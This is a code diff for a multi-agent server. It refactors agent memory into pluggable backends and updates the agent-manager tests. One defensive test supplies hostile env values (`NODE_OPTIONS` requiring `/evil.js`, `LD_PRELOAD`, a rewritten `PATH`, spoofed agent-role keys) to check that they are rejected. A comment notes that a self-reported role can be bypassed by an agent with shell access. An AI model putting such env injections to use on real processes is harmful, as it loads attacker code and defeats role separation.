* zod schema mirroring {@link BundleManifest}. Used in place of the prior * hand-rolled validator: it declares required fields, the `id` slug rule, the @@ -81,6 +134,7 @@ const manifestSchema = z.object({ agents: z.array(safePath).optional(), contextFiles: z.array(safePath).optional(), memory: z.array(safePath).optional(), + memoryBinding: memoryBindingSchema.optional(), extensions: z.array(safePath).optional(), software: z.record(z.string().min(1), z.array(z.string().min(1))).optional(), ui: z diff --git a/apps/server/src/pi/extensions/memory.ts b/apps/server/src/pi/extensions/memory.ts index fa014c48..449c883c 100644 --- a/apps/server/src/pi/extensions/memory.ts +++ b/apps/server/src/pi/extensions/memory.ts @@ -8,51 +8,52 @@ * type-check (`@ts-nocheck`) and never imported by the server — only passed as a * path to the Pi subprocess. * - * Tools by role (from `TANGENT_AGENT_ROLE`): - * - all agents: `read_memory` (read the session + global stores). - * - `prime` only: `remember` (write directly) and `suggest_memory` (propose a - * change the user must confirm). Prime owns the human conversation, so it is - * the sole writer. - * - * All tools are thin clients over this server's internal memory API; the server - * owns the files and emits the "remembered" highlight from the actual write. + * It registers the dispatcher-backed memory tools (`read_memory`, `remember`, + * `suggest_memory`) whose `execute` is a thin client over this server's internal + * `/internal/memory/call` endpoint — the server owns the files, resolves which + * backend handles each call, and emits the "remembered" highlight from the + * actual write. The write tools are registered for Prime only, and the spawn's + * `--tools` allowlist and the server's role check on `/call` keep sub-agents + * from writing through them. That role comes from the self-reported agent id, + * so it does not isolate an agent with shell access to the internal token. */ import type { ExtensionAPI } from "@earendil-works/pi-coding-agent"; import { Type } from "typebox"; const SESSION_ID = process.env.TANGENT_SESSION_ID ?? ""; +const AGENT_ID = process.env.TANGENT_AGENT_ID ?? ""; const ROLE = process.env.TANGENT_AGENT_ROLE ?? "subagent"; const INTERNAL_URL = process.env.TANGENT_INTERNAL_URL ?? ""; const INTERNAL_TOKEN = process.env.TANGENT_INTERNAL_TOKEN ?? ""; -async function callApi( - method: "GET" | "POST", - endpoint: string, - body?: Record, - query?: Record, -): Promise { - const url = new URL(`${INTERNAL_URL}/internal/memory/${endpoint}`); - for (const [key, value] of Object.entries(query ?? {})) { - url.searchParams.set(key, value); - } - - const response = await fetch(url, { - method, +/** Invokes one dispatcher memory tool on the server and returns its text. */ +async function callMemory( + name: string, + params: Record, +): Promise { + const response = await fetch(`${INTERNAL_URL}/internal/memory/call`, { + method: "POST", headers: { "content-type": "application/json", authorization: `Bearer ${INTERNAL_TOKEN}`, }, - body: body ? JSON.stringify(body) : undefined, + body: JSON.stringify({ + sessionId: SESSION_ID, + agentId: AGENT_ID, + name, + params, + }), }); if (!response.ok) { const text = await response.text().catch(() => ""); throw new Error( - `internal API ${endpoint} failed (${response.status}): ${text}`, + `internal API memory/call (${name}) failed (${response.status}): ${text}`, ); } - return response.json(); + const data = (await response.json()) as { text: string }; + return data.text; } function textResult(text: string) { @@ -60,7 +61,6 @@ function textResult(text: string) { } export default function (pi: ExtensionAPI) { - // Every agent can read its memory. pi.registerTool({ name: "read_memory", label: "Read Memory", @@ -72,21 +72,12 @@ export default function (pi: ExtensionAPI) { promptSnippet: "Read your global + session memory", parameters: Type.Object({}), async execute() { - const data = (await callApi("GET", "read", undefined, { - sessionId: SESSION_ID, - })) as { session: string; global: string }; - - const session = data.session?.trim() || "(empty)"; - const global = data.global?.trim() || "(empty)"; - return textResult( - `## Global memory\n\n${global}\n\n## Session memory\n\n${session}`, - ); + return textResult(await callMemory("read_memory", {})); }, }); if (ROLE !== "prime") return; - // Prime-only memory-mutation tools below. pi.registerTool({ name: "remember", label: "Remember", @@ -117,17 +108,7 @@ export default function (pi: ExtensionAPI) { ), }), async execute(_toolCallId, params) { - const data = (await callApi("POST", "remember", { - sessionId: SESSION_ID, - scope: params.scope ?? "session", - text: params.text, - replaces: params.replaces, - })) as { stored: string; scope: string }; - - return textResult( - `Stored to ${data.scope} memory. The user has been shown a confirmation ` + - `of exactly what was saved.`, - ); + return textResult(await callMemory("remember", params)); }, }); @@ -150,15 +131,7 @@ export default function (pi: ExtensionAPI) { ), }), async execute(_toolCallId, params) { - await callApi("POST", "suggest", { - sessionId: SESSION_ID, - scope: params.scope ?? "global", - text: params.text, - }); - return textResult( - "Suggestion shown to the user. Awaiting their confirmation before " + - "anything is stored; do not assume it was remembered.", - ); + return textResult(await callMemory("suggest_memory", params)); }, }); } diff --git a/apps/server/src/pi/memory.ts b/apps/server/src/pi/memory.ts index 101683ca..6f3818d7 100644 --- a/apps/server/src/pi/memory.ts +++ b/apps/server/src/pi/memory.ts @@ -1,252 +1,12 @@ -import { randomUUID } from "node:crypto"; -import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; -import path from "node:path"; - -import type { MemoryScope } from "@tangent/shared/contracts.ts"; - -import { - GLOBAL_MEMORY_DIR, - GLOBAL_MEMORY_FILENAME, - SESSION_MEMORY_FILENAME, -} from "../config.ts"; - -/** A change applied to a memory file, returned so callers can surface it. */ -export interface MemoryWriteResult { - scope: MemoryScope; - /** The exact text now stored (the file's full contents after the write). */ - stored: string; - /** The fragment that was added/changed, for the UI highlight. */ - added: string; -} - -/** A pending agent-initiated suggestion awaiting the user's confirmation. */ -export interface PendingSuggestion { - id: string; - sessionId: string; - scope: MemoryScope; - text: string; -} - -/** Header written when Prime first creates a memory file. */ -function header(title: string): string { - return `# ${title}\n`; -} - -/** Reads a UTF-8 file, returning `""` when it doesn't exist. */ -function readOr(file: string, fallback = ""): string { - try { - return existsSync(file) ? readFileSync(file, "utf8") : fallback; - } catch { - return fallback; - } -} - /** - * Appends `text` to `current` (or replaces a prior fragment), keeping a single - * trailing newline. When `replaces` matches a substring of the current content - * it is swapped in place; otherwise `text` is appended as a new bullet block. + * Back-compat facade. The memory implementation moved to `../memory/` when it + * grew from one hardcoded SimpleMD store into a pluggable {@link MemoryBackend} + * tree. `MemoryManager` is the built-in SimpleMD backend (session + global); the + * global-memory route, chat handlers, and host-resource writes keep importing it + * from here unchanged. */ -function applyEdit(current: string, text: string, replaces?: string): string { - const trimmed = text.trim(); - if (replaces && current.includes(replaces)) { - return `${current.replace(replaces, trimmed)}\n`.replace(/\n+$/, "\n"); - } - const base = current.trim(); - const next = base ? `${base}\n\n${trimmed}` : trimmed; - return `${next}\n`; -} - -/** - * Owns the agents' memory files: a single global store (from - * {@link GLOBAL_MEMORY_DIR}) injected into every session, and a per-session - * file at the session root. The server is the sole writer, so the UI's - * "remembered" highlight can be derived from the actual file change rather than - * the agent's narration (keeping the agent honest). - */ -export class MemoryManager { - /** Agent-initiated suggestions awaiting user confirmation, keyed by id. */ - private readonly suggestions = new Map(); - - /** Absolute path to the canonical global memory file. */ - private globalFile(): string { - return path.join(GLOBAL_MEMORY_DIR, GLOBAL_MEMORY_FILENAME); - } - - /** Absolute path to a session's canonical memory file. */ - private sessionFile(rootPath: string): string { - return path.join(rootPath, SESSION_MEMORY_FILENAME); - } - - /** Absolute path to a session's read-only global memory snapshot. */ - private sessionGlobalSnapshot(rootPath: string): string { - return path.join(rootPath, GLOBAL_MEMORY_FILENAME); - } - - /** - * Prepares memory for a session: ensures the global store exists and copies a - * read-only snapshot of it into the session root so the agent can read it - * with its own file tools. The session memory file is intentionally NOT - * created here — Prime creates it on its first `remember` (per the spec). - */ - initSession(rootPath: string): void { - this.ensureGlobalFile(); - try { - writeFileSync(this.sessionGlobalSnapshot(rootPath), this.readGlobal()); - } catch (err) { - console.error(`[memory] failed to snapshot global memory:`, err); - } - } - - /** Creates {@link GLOBAL_MEMORY_DIR} and a seeded file if missing. */ - private ensureGlobalFile(): void { - try { - mkdirSync(GLOBAL_MEMORY_DIR, { recursive: true }); - if (!existsSync(this.globalFile())) { - writeFileSync(this.globalFile(), header("Global memory")); - } - } catch (err) { - console.error(`[memory] failed to ensure global memory file:`, err); - } - } - - /** Current global memory text (empty string when unset). */ - readGlobal(): string { - return readOr(this.globalFile()); - } - - /** Current session memory text (empty string when Prime hasn't created it). */ - readSession(rootPath: string): string { - return readOr(this.sessionFile(rootPath)); - } - - /** - * Builds the per-session "## Memory" preamble appended to every agent's - * system prompt, embedding the current global and session memory so memory is - * available from the first turn of every session. - */ - buildPreamble(rootPath: string): string { - const global = this.readGlobal().trim(); - const session = this.readSession(rootPath).trim(); - - const lines = [ - "## Memory", - "", - "You have two memory stores. Treat them as authoritative standing context", - "and consult them before acting. Modify them only via the memory tools", - "(`remember`, `suggest_memory`); never claim to have stored something you", - "did not actually write.", - "", - "### Global memory (applies to every session)", - "", - global ? global : "(empty)", - "", - "### Session memory (this session only)", - "", - session ? session : "(empty — create it with `remember` when useful)", - ]; - return lines.join("\n"); - } - - /** Writes session memory, creating the file (with a header) on first write. */ - writeSession( - rootPath: string, - text: string, - replaces?: string, - ): MemoryWriteResult { - const current = this.readSession(rootPath) || header("Session memory"); - const stored = applyEdit(current, text, replaces); - writeFileSync(this.sessionFile(rootPath), stored); - return { scope: "session", stored, added: text.trim() }; - } - - /** - * Writes global memory and refreshes the session's snapshot so the agent's - * own reads stay consistent within the live process. - */ - writeGlobal( - rootPath: string, - text: string, - replaces?: string, - ): MemoryWriteResult { - this.ensureGlobalFile(); - const current = this.readGlobal() || header("Global memory"); - const stored = applyEdit(current, text, replaces); - writeFileSync(this.globalFile(), stored); - try { - writeFileSync(this.sessionGlobalSnapshot(rootPath), stored); - } catch { - // Snapshot refresh is best-effort; the canonical write already succeeded. - } - return { scope: "global", stored, added: text.trim() }; - } - - /** - * Overwrites the entire global memory file with `content`. Unlike - * {@link writeGlobal} (which appends/replaces a fragment), this is a full - * replace used by the editor UI. Per-session snapshots refresh on the next - * session spawn via {@link initSession}. - */ - replaceGlobal(content: string): string { - this.ensureGlobalFile(); - const stored = content.endsWith("\n") ? content : `${content}\n`; - writeFileSync(this.globalFile(), stored); - return stored; - } - - /** Dispatches a write to the matching store. */ - write( - rootPath: string, - scope: MemoryScope, - text: string, - replaces?: string, - ): MemoryWriteResult { - return scope === "global" - ? this.writeGlobal(rootPath, text, replaces) - : this.writeSession(rootPath, text, replaces); - } - - /** - * Empties a store back to its header, so removing a memory resource leaves the - * store the agent reads consistent with the catalog. Global also refreshes the - * session snapshot. - */ - clear(rootPath: string, scope: MemoryScope): void { - if (scope === "global") { - this.ensureGlobalFile(); - writeFileSync(this.globalFile(), header("Global memory")); - try { - writeFileSync( - this.sessionGlobalSnapshot(rootPath), - header("Global memory"), - ); - } catch { - // Snapshot refresh is best-effort; the canonical write already succeeded. - } - return; - } - writeFileSync(this.sessionFile(rootPath), header("Session memory")); - } - - /** Records an agent-initiated suggestion and returns its id. */ - addSuggestion( - sessionId: string, - scope: MemoryScope, - text: string, - ): PendingSuggestion { - const suggestion: PendingSuggestion = { - id: randomUUID(), - sessionId, - scope, - text: text.trim(), - }; - this.suggestions.set(suggestion.id, suggestion); - return suggestion; - } - - /** Removes and returns a pending suggestion, if it exists. */ - takeSuggestion(id: string): PendingSuggestion | undefined { - const suggestion = this.suggestions.get(id); - if (suggestion) this.suggestions.delete(id); - return suggestion; - } -} +export { + SimpleMdMemory as MemoryManager, + type MemoryWriteResult, + type PendingSuggestion, +} from "../memory/simpleMd.ts"; diff --git a/apps/server/src/pi/piAgentManager.test.ts b/apps/server/src/pi/piAgentManager.test.ts index 2adc0b81..49bb80a5 100644 --- a/apps/server/src/pi/piAgentManager.test.ts +++ b/apps/server/src/pi/piAgentManager.test.ts @@ -18,10 +18,11 @@ import { connectorFor, } from "@tangent/shared/contracts.ts"; +import type { MemoryResolver, MemorySpawnPlan } from "../memory/resolver.ts"; +import type { AgentRole } from "../memory/types.ts"; import { RunRegistry } from "../runs/runRegistry.ts"; import { InMemoryRunStore } from "../store/inMemoryRunStore.ts"; import type { SessionAgent } from "../store/sessionStore.ts"; -import type { MemoryManager } from "./memory.ts"; import { PiAgentManager, PRIME_AGENT_ID } from "./piAgentManager.ts"; import type { ConversationEventSink } from "./types.ts"; @@ -86,8 +87,41 @@ interface RelayedEvent { runId?: string; } +/** A memory plan granting only `read_memory`, with overrides. */ +function memoryPlan(overrides?: Partial): MemorySpawnPlan { + return { + env: {}, + extensionPaths: [], + allowlistTools: ["read_memory"], + deniedTools: [], + ...overrides, + }; +} + +/** A resolver whose every resolution projects `plan(role)` and a role-tagged + * preamble. `plan` is re-read per resolution so a test can change it. */ +function stubResolver( + plan: (role: AgentRole) => MemorySpawnPlan = () => memoryPlan(), +): MemoryResolver { + const resolution = () => { + const current = plan; + return { + init: () => {}, + preamble: (role: AgentRole) => `## Memory\n\n(empty for ${role})`, + spawnPlan: (role: AgentRole) => current(role), + }; + }; + return { + resolveDefault: resolution, + resolve: async () => resolution(), + } as unknown as MemoryResolver; +} + /** Builds a manager wired to a fake launcher; returns it plus the spawn log. */ -function makeManager(options?: { shouldFailSpawn?: () => boolean }): { +function makeManager(options?: { + shouldFailSpawn?: () => boolean; + memory?: MemoryResolver; +}): { pi: PiAgentManager; spawns: SpawnRecord[]; rosterUpdates: { id: string; status: string }[]; @@ -121,10 +155,7 @@ function makeManager(options?: { shouldFailSpawn?: () => boolean }): { onSessionStatus: () => {}, }; - const memory = { - initSession: () => {}, - buildPreamble: () => "## Memory\n\n(empty)", - } as unknown as MemoryManager; + const memory = options?.memory ?? stubResolver(); const runStore = new InMemoryRunStore(); const runs = new RunRegistry(runStore); @@ -150,10 +181,12 @@ function agentRow(overrides: Partial): SessionAgent { } /** Creates a throwaway session root and removes it after `fn`. */ -function withTempRoot(fn: (root: string) => void): void { +async function withTempRoot( + fn: (root: string) => Promise, +): Promise { const root = mkdtempSync(path.join(tmpdir(), "tangent-pi-manager-")); try { - fn(root); + await fn(root); } finally { rmSync(root, { recursive: true, force: true }); } @@ -164,9 +197,9 @@ afterEach(() => { mock.restoreAll(); }); -test("reviveSubagent re-spawns a sub-agent from its persisted config", () => { +test("reviveSubagent re-spawns a sub-agent from its persisted config", async () => { const { pi, spawns } = makeManager(); - pi.ensure("s1", "/tmp/s1"); + await pi.ensure("s1", "/tmp/s1"); assert.equal(spawns.length, 1, "ensure spawns Prime"); pi.reviveSubagent( @@ -183,10 +216,16 @@ test("reviveSubagent re-spawns a sub-agent from its persisted config", () => { assert.equal(spawns.length, 2, "the sub-agent is revived"); const revived = spawns[1]; assert.equal(revived.agentId, "sub-active"); + const revivedTools = revived.args[revived.args.indexOf("--tools") + 1]; assert.ok( - revived.args.includes("read,grep"), + revivedTools.split(",").includes("read") && + revivedTools.split(",").includes("grep"), "revived process uses the persisted tool allowlist", ); + assert.ok( + revivedTools.split(",").includes("read_memory"), + "memory tools are granted dynamically at spawn, not from persisted tools", + ); assert.deepEqual( pi.listSubagents("s1").map((s) => s.id), ["sub-active"], @@ -200,9 +239,9 @@ test("reviveSubagent re-spawns a sub-agent from its persisted config", () => { ); }); -test("reviveSubagent restores a detached row, and refuses Prime and terminal ones", () => { +test("reviveSubagent restores a detached row, and refuses Prime and terminal ones", async () => { const { pi, spawns } = makeManager(); - pi.ensure("s1", "/tmp/s1"); + await pi.ensure("s1", "/tmp/s1"); // `detached` is the ordinary pre-revive state: the boot reconciliation puts // every stale row there, so revive has to accept it. @@ -221,9 +260,9 @@ test("reviveSubagent restores a detached row, and refuses Prime and terminal one ); }); -test("reviveSubagent is idempotent and skips an already-live agent", () => { +test("reviveSubagent is idempotent and skips an already-live agent", async () => { const { pi, spawns } = makeManager(); - pi.ensure("s1", "/tmp/s1"); + await pi.ensure("s1", "/tmp/s1"); const persisted = agentRow({ id: "sub-active", @@ -237,8 +276,8 @@ test("reviveSubagent is idempotent and skips an already-live agent", () => { assert.equal(spawns.length, 2, "second revive does not double-spawn"); }); -test("ensure falls back when an installed bundle config cannot be reloaded", () => { - withTempRoot((root) => { +test("ensure falls back when an installed bundle config cannot be reloaded", async () => { + await withTempRoot(async (root) => { const { pi, spawns } = makeManager(); const warn = mock.method(console, "warn", () => {}); mkdirSync(path.join(root, ".tangent")); @@ -247,7 +286,7 @@ test("ensure falls back when an installed bundle config cannot be reloaded", () "not: valid: yaml", ); - assert.doesNotThrow(() => pi.ensure("s1", root)); + await assert.doesNotReject(pi.ensure("s1", root)); assert.equal(spawns.length, 1, "ensure still spawns Prime"); assert.ok( @@ -259,10 +298,10 @@ test("ensure falls back when an installed bundle config cannot be reloaded", () }); }); -test("supervisor auto-respawns a crashed agent with backoff, then gives up", () => { +test("supervisor auto-respawns a crashed agent with backoff, then gives up", async () => { mock.timers.enable({ apis: ["setTimeout"] }); const { pi, spawns } = makeManager(); - pi.ensure("s1", "/tmp/s1"); + await pi.ensure("s1", "/tmp/s1"); assert.equal(spawns.length, 1); // Crash #1 -> respawn after 1s. @@ -286,9 +325,9 @@ test("supervisor auto-respawns a crashed agent with backoff, then gives up", () assert.equal(pi.hasAgent("s1", PRIME_AGENT_ID), false); }); -test("the local roster describes its connector", () => { +test("the local roster describes its connector", async () => { const { pi } = makeManager(); - pi.ensure("s1", "/tmp/s1"); + await pi.ensure("s1", "/tmp/s1"); const { info } = pi.spawnSubagent("s1", { name: "Worker" }); const expected = { @@ -301,9 +340,9 @@ test("the local roster describes its connector", () => { assert.deepEqual(pi.listSubagents("s1")[0].connector, expected); }); -test("the appended system prompt is passed as a file, not an inline arg", () => { +test("the appended system prompt is passed as a file, not an inline arg", async () => { const { pi, spawns } = makeManager(); - pi.ensure("s1", "/tmp/s1"); + await pi.ensure("s1", "/tmp/s1"); const { args } = spawns[0]; const flag = args.indexOf("--append-system-prompt"); @@ -317,7 +356,7 @@ test("the appended system prompt is passed as a file, not an inline arg", () => assert.ok(existsSync(source), "the prompt file exists at spawn time"); assert.match( readFileSync(source, "utf8"), - /## Memory\n\n\(empty\)/, + /## Memory\n\n\(empty for prime\)/, "the file holds the combined preamble", ); @@ -352,7 +391,7 @@ function flush(): Promise { test("a prompt opens one run and every event in the turn carries its id", async () => { const h = makeManager(); - h.pi.ensure("s1", "/tmp/s1"); + await h.pi.ensure("s1", "/tmp/s1"); h.pi.sendToAgent({ sessionId: "s1", agentId: PRIME_AGENT_ID, text: "hello" }); const runId = h.runs.current("s1", PRIME_AGENT_ID)?.id; @@ -373,9 +412,9 @@ test("a prompt opens one run and every event in the turn carries its id", async assert.equal((await h.runStore.getRun(runId))?.status, "completed"); }); -test("a message delivered mid-run joins the run in flight", () => { +test("a message delivered mid-run joins the run in flight", async () => { const h = makeManager(); - h.pi.ensure("s1", "/tmp/s1"); + await h.pi.ensure("s1", "/tmp/s1"); h.pi.sendToAgent({ sessionId: "s1", agentId: PRIME_AGENT_ID, text: "first" }); const runId = h.runs.current("s1", PRIME_AGENT_ID)?.id; @@ -394,7 +433,7 @@ test("a message delivered mid-run joins the run in flight", () => { test("aborting a run settles it as cancelled, not completed", async () => { const h = makeManager(); - h.pi.ensure("s1", "/tmp/s1"); + await h.pi.ensure("s1", "/tmp/s1"); h.pi.sendToAgent({ sessionId: "s1", agentId: PRIME_AGENT_ID, @@ -411,17 +450,17 @@ test("aborting a run settles it as cancelled, not completed", async () => { assert.equal((await h.runStore.getRun(runId))?.status, "cancelled"); }); -test("aborting an idle agent refuses instead of cancelling nothing", () => { +test("aborting an idle agent refuses instead of cancelling nothing", async () => { const h = makeManager(); - h.pi.ensure("s1", "/tmp/s1"); + await h.pi.ensure("s1", "/tmp/s1"); assert.equal(h.pi.abort("s1", PRIME_AGENT_ID), false); assert.equal(h.pi.abort("s1", "ghost"), false); }); -test("a turn Pi starts on its own still gets a run", () => { +test("a turn Pi starts on its own still gets a run", async () => { const h = makeManager(); - h.pi.ensure("s1", "/tmp/s1"); + await h.pi.ensure("s1", "/tmp/s1"); emitPi(h.spawns[0].child, { type: "agent_start" }); @@ -430,7 +469,7 @@ test("a turn Pi starts on its own still gets a run", () => { test("a crash fails the run that was in flight", async () => { const h = makeManager(); - h.pi.ensure("s1", "/tmp/s1"); + await h.pi.ensure("s1", "/tmp/s1"); h.pi.sendToAgent({ sessionId: "s1", agentId: PRIME_AGENT_ID, text: "work" }); const runId = h.runs.current("s1", PRIME_AGENT_ID)?.id; assert.ok(runId); @@ -441,9 +480,9 @@ test("a crash fails the run that was in flight", async () => { assert.equal((await h.runStore.getRun(runId))?.status, "failed"); }); -test("a spawn alone opens no run; the task that follows does", () => { +test("a spawn alone opens no run; the task that follows does", async () => { const h = makeManager(); - h.pi.ensure("s1", "/tmp/s1"); + await h.pi.ensure("s1", "/tmp/s1"); const { info } = h.pi.spawnSubagent("s1", { name: "Worker" }); assert.equal( @@ -464,7 +503,7 @@ test("a spawn alone opens no run; the task that follows does", () => { test("killing a sub-agent mid-run cancels its run", async () => { const h = makeManager(); - h.pi.ensure("s1", "/tmp/s1"); + await h.pi.ensure("s1", "/tmp/s1"); const { info } = h.pi.spawnSubagent("s1", { name: "Worker" }); h.pi.sendToAgent({ sessionId: "s1", @@ -481,9 +520,9 @@ test("killing a sub-agent mid-run cancels its run", async () => { assert.equal((await h.runStore.getRun(runId))?.status, "cancelled"); }); -test("an intentional kill is not auto-respawned", () => { +test("an intentional kill is not auto-respawned", async () => { const { pi, spawns } = makeManager(); - pi.ensure("s1", "/tmp/s1"); + await pi.ensure("s1", "/tmp/s1"); const { info } = pi.spawnSubagent("s1", { name: "Worker" }); assert.equal(spawns.length, 2); @@ -497,11 +536,11 @@ test("an intentional kill is not auto-respawned", () => { assert.equal(pi.hasAgent("s1", info.id), false); }); -test("a synchronous spawn failure is relayed as an error, not thrown", () => { +test("a synchronous spawn failure is relayed as an error, not thrown", async () => { const error = mock.method(console, "error", () => {}); const { pi, spawns, events } = makeManager({ shouldFailSpawn: () => true }); - assert.doesNotThrow(() => pi.ensure("s1", "/tmp/s1")); + await assert.doesNotReject(pi.ensure("s1", "/tmp/s1")); assert.equal(spawns.length, 0, "a failed spawn registers no child"); assert.equal( pi.hasAgent("s1", PRIME_AGENT_ID), @@ -516,12 +555,12 @@ test("a synchronous spawn failure is relayed as an error, not thrown", () => { assert.ok(error.mock.calls.length > 0, "the failure is logged"); }); -test("a supervisor respawn whose spawn fails does not throw out of the timer", () => { +test("a supervisor respawn whose spawn fails does not throw out of the timer", async () => { mock.timers.enable({ apis: ["setTimeout"] }); mock.method(console, "error", () => {}); let failSpawn = false; const { pi, spawns } = makeManager({ shouldFailSpawn: () => failSpawn }); - pi.ensure("s1", "/tmp/s1"); + await pi.ensure("s1", "/tmp/s1"); assert.equal(spawns.length, 1); // Crash the live process, then make the scheduled respawn's spawn fail. @@ -533,10 +572,12 @@ test("a supervisor respawn whose spawn fails does not throw out of the timer", ( assert.equal(pi.hasAgent("s1", PRIME_AGENT_ID), false); }); -test("session env is injected into Prime and inherited by sub-agents", () => { +test("session env is injected into Prime and inherited by sub-agents", async () => { const { pi, spawns } = makeManager(); - pi.ensure("s1", "/tmp/s1", undefined, undefined, undefined, undefined, { - TANGLE_ROOT_CONFIG: "annotations.project=p1", + await pi.ensure("s1", "/tmp/s1", { + env: { + TANGLE_ROOT_CONFIG: "annotations.project=p1", + }, }); assert.equal( @@ -553,12 +594,14 @@ test("session env is injected into Prime and inherited by sub-agents", () => { ); }); -test("{{workspacePath}} in session env expands to the session root", () => { +test("{{workspacePath}} in session env expands to the session root", async () => { const { pi, spawns } = makeManager(); - pi.ensure("s1", "/tmp/s1", undefined, undefined, undefined, undefined, { - TANGLE_ROOT_CONFIG: "{{workspacePath}}/.tangle/root-config.yaml", - PLAIN_VAR: "no placeholder here", - UNKNOWN_TOKEN: "{{unknownToken}}/x", + await pi.ensure("s1", "/tmp/s1", { + env: { + TANGLE_ROOT_CONFIG: "{{workspacePath}}/.tangle/root-config.yaml", + PLAIN_VAR: "no placeholder here", + UNKNOWN_TOKEN: "{{unknownToken}}/x", + }, }); assert.equal( @@ -585,12 +628,14 @@ test("{{workspacePath}} in session env expands to the session root", () => { ); }); -test("session env cannot clobber reserved TANGENT_* keys", () => { +test("session env cannot clobber reserved TANGENT_* keys", async () => { const { pi, spawns } = makeManager(); - pi.ensure("s1", "/tmp/s1", undefined, undefined, undefined, undefined, { - TANGENT_SESSION_ID: "evil", - TANGENT_AGENT_ID: "evil", - SAFE_VAR: "ok", + await pi.ensure("s1", "/tmp/s1", { + env: { + TANGENT_SESSION_ID: "evil", + TANGENT_AGENT_ID: "evil", + SAFE_VAR: "ok", + }, }); assert.equal( @@ -606,14 +651,16 @@ test("session env cannot clobber reserved TANGENT_* keys", () => { assert.equal(spawns[0].env?.SAFE_VAR, "ok", "non-reserved vars pass through"); }); -test("session env cannot inject process-sensitive keys", () => { +test("session env cannot inject process-sensitive keys", async () => { const { pi, spawns } = makeManager(); - pi.ensure("s1", "/tmp/s1", undefined, undefined, undefined, undefined, { - NODE_OPTIONS: "--require=/evil.js", - LD_PRELOAD: "/evil.so", - PATH: "/evil/bin", - TANGENT_AGENT_ROLE: "prime", - TANGLE_ROOT_CONFIG: "annotations.project=p1", + await pi.ensure("s1", "/tmp/s1", { + env: { + NODE_OPTIONS: "--require=/evil.js", + LD_PRELOAD: "/evil.so", + PATH: "/evil/bin", + TANGENT_AGENT_ROLE: "prime", + TANGLE_ROOT_CONFIG: "annotations.project=p1", + }, }); assert.notEqual( @@ -634,3 +681,127 @@ test("session env cannot inject process-sensitive keys", () => { "safe vars still pass through", ); }); + +/** Reads the appended system prompt a spawn was given. */ +function appendedPrompt(record: SpawnRecord): string { + const flag = record.args.indexOf("--append-system-prompt"); + return readFileSync(record.args[flag + 1], "utf8"); +} + +test("concurrent ensure calls spawn Prime once", async () => { + const { pi, spawns } = makeManager(); + await Promise.all([pi.ensure("s1", "/tmp/s1"), pi.ensure("s1", "/tmp/s1")]); + assert.equal(spawns.length, 1); +}); + +test("dispose cancels an ensure still resolving memory", async () => { + const { pi, spawns } = makeManager(); + const pending = pi.ensure("s1", "/tmp/s1"); + pi.dispose("s1"); + await pending; + assert.equal(spawns.length, 0); + assert.equal(pi.hasAgent("s1", PRIME_AGENT_ID), false); +}); + +test("every Prime spawn re-resolves memory instead of keeping the first", async () => { + mock.method(console, "error", () => {}); + let failSpawn = true; + let generation = "first"; + const memory = stubResolver(() => + memoryPlan({ env: { PI_MEMORY_DIR: `/mem/${generation}` } }), + ); + const { pi, spawns } = makeManager({ + memory, + shouldFailSpawn: () => failSpawn, + }); + await pi.ensure("s1", "/tmp/s1"); + assert.equal(spawns.length, 0, "the first spawn failed"); + + failSpawn = false; + generation = "second"; + await pi.ensure("s1", "/tmp/s1"); + assert.equal(spawns[0].env?.PI_MEMORY_DIR, "/mem/second"); +}); + +test("a sub-agent spawn drops the memory tools its role is denied", async () => { + const memory = stubResolver((role) => + memoryPlan({ + deniedTools: role === "prime" ? [] : ["remember", "memory_write"], + }), + ); + const { pi, spawns } = makeManager({ memory }); + await pi.ensure("s1", "/tmp/s1"); + pi.spawnSubagent("s1", { + name: "Worker", + tools: ["read", "remember", "memory_write"], + }); + + const { args } = spawns[1]; + const tools = args[args.indexOf("--tools") + 1].split(","); + assert.ok(tools.includes("read")); + assert.ok(tools.includes("read_memory")); + assert.equal(tools.includes("remember"), false); + assert.equal(tools.includes("memory_write"), false); +}); + +test("memory env wins over inherited and session-supplied memory knobs", async (t) => { + const inherited = { + PI_MEMORY_EXIT_SUMMARY: "0", + PI_MEMORY_SUMMARIZE_TRANSITIONS: "1", + }; + Object.assign(process.env, inherited); + t.after(() => { + for (const key of Object.keys(inherited)) delete process.env[key]; + }); + const memory = stubResolver(() => + memoryPlan({ + env: { + PI_MEMORY_DIR: "/mem", + PI_MEMORY_EXIT_SUMMARY: "1", + INDEX_PATH: "/mem-qmd/index.sqlite", + }, + }), + ); + const { pi, spawns } = makeManager({ memory }); + await pi.ensure("s1", "/tmp/s1", { + env: { + PI_MEMORY_NO_SEARCH: "1", + INDEX_PATH: "/elsewhere/index.sqlite", + SAFE_VAR: "ok", + }, + }); + + const env = spawns[0].env ?? {}; + assert.equal(env.PI_MEMORY_EXIT_SUMMARY, "1"); + assert.equal(env.PI_MEMORY_DIR, "/mem"); + assert.equal(env.PI_MEMORY_SUMMARIZE_TRANSITIONS, undefined); + assert.equal(env.PI_MEMORY_NO_SEARCH, undefined); + assert.equal(env.INDEX_PATH, "/mem-qmd/index.sqlite"); + assert.equal(env.SAFE_VAR, "ok"); +}); + +test("each agent's preamble is rendered for its own role", async () => { + const { pi, spawns } = makeManager(); + await pi.ensure("s1", "/tmp/s1"); + pi.spawnSubagent("s1", { name: "Worker" }); + + assert.match(appendedPrompt(spawns[0]), /\(empty for prime\)/); + assert.match(appendedPrompt(spawns[1]), /\(empty for subagent\)/); +}); + +test("memoryCaller hands live agents Prime's resolution and their own role", async () => { + const { pi } = makeManager(); + await pi.ensure("s1", "/tmp/s1"); + const { info } = pi.spawnSubagent("s1", { name: "Worker" }); + + const prime = pi.memoryCaller("s1", PRIME_AGENT_ID); + const sub = pi.memoryCaller("s1", info.id); + assert.equal(prime?.role, "prime"); + assert.equal(sub?.role, "subagent"); + assert.ok(prime?.memory); + assert.equal(sub?.memory, prime?.memory, "one resolution per Prime spawn"); + assert.equal(pi.memoryCaller("s1", "ghost"), undefined); + + pi.dispose("s1"); + assert.equal(pi.memoryCaller("s1", PRIME_AGENT_ID), undefined); +}); diff --git a/apps/server/src/pi/piAgentManager.ts b/apps/server/src/pi/piAgentManager.ts index 58c6e974..89924aba 100644 --- a/apps/server/src/pi/piAgentManager.ts +++ b/apps/server/src/pi/piAgentManager.ts @@ -29,6 +29,11 @@ import { UPLOADS_DIRNAME, } from "../config.ts"; import { piCredential } from "../connectors/credentials.ts"; +import type { + MemoryResolver, + MemorySpawnPlan, + ResolvedMemory, +} from "../memory/resolver.ts"; import type { RunRegistry, SettledStatus } from "../runs/runRegistry.ts"; import type { SessionAgent } from "../store/sessionStore.ts"; import { @@ -41,7 +46,6 @@ 